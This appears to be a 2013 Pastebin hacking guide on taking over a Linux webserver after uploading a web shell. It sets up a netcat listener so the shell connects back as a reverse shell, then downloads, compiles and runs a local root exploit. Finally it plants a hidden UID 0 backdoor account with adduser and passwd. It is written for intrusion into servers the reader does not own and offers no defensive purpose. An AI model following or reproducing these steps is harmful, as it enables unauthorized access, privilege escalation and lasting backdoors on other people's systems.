Advertisement
ZaraByte

How to Root Linux Webserver

Jun 6th, 2013
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. How to Root Linux Webserver using local root exploit.
  2.  
  3. This guide will explain how to get root to a website using local root exploits.
  4.  
  5. Youtube: Youtube.com/PhiberOptics
  6. Website: zarabyte.com
  7. Personal Website: MatthewHKnight.com
  8. Twitter: twitter.com/ZaraByte
  9.  
  10. First off, we have to have a basic understanding of what root is. Root is basically the administrator of servers. With root, a person can delete files, copy files, add files, etc.
  11.  
  12. Now,
  13. Check what kernel the server is using. This is shown on the shell that you uploaded. Or, you can Execute Case on the shell and execute uname -a for the same result.
  14.  
  15. Netcat Download:
  16. http://netcat.sourceforge.net/ - For Linux
  17. http://joncraton.org/files/nc111nt.zip - For Windows
  18. Next, open up a port (I always use 443). Open netcat and type:
  19. -l -n -v -p 443
  20.  
  21. Go back to your shell and go to backconnect. Enter the port you opened and press connect. It should then connect to your netcat.
  22.  
  23. Now, you need to get the exploit link in netcat. It will download the zip to the server.
  24.  
  25. If the exploit is downloaded as:
  26. Code:
  27. EXPLOITNAMEHERE.c
  28.  
  29. Then simply compile it by
  30.  
  31. gcc EXPLOITNAMEHERE.c -o EXPLOITNAMEHERE
  32.  
  33. If it downloaded as EXPLOITNAMEHERE.zip, simply:
  34.  
  35. unzip EXPLOITNAMEHERE.zip
  36.  
  37.  
  38. Now, let's get root, shall we?
  39.  
  40. chmod 777 EXPLOITNAMEHERE
  41. Then run it...
  42.  
  43. ./EXPLOITNAMEHERE
  44.  
  45. Type:
  46. id (You can also do whoami)
  47. to see if you're root.
  48.  
  49. Now, we'll add a new root user.
  50.  
  51. Command is:
  52.  
  53. adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M DESIREDROOTNAME
  54.  
  55. Now, password for root (you're almost done):
  56.  
  57. passwd DESIREDROOTNAME
  58. To check if you did it right, do:
  59.  
  60. id DESIREDROOTNAME
  61.  
  62. Now enjoy having fun control over the server.
  63.  
  64. Check out the Local Root Exploit Namelist: http://pastebin.com/39P7NGKW
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement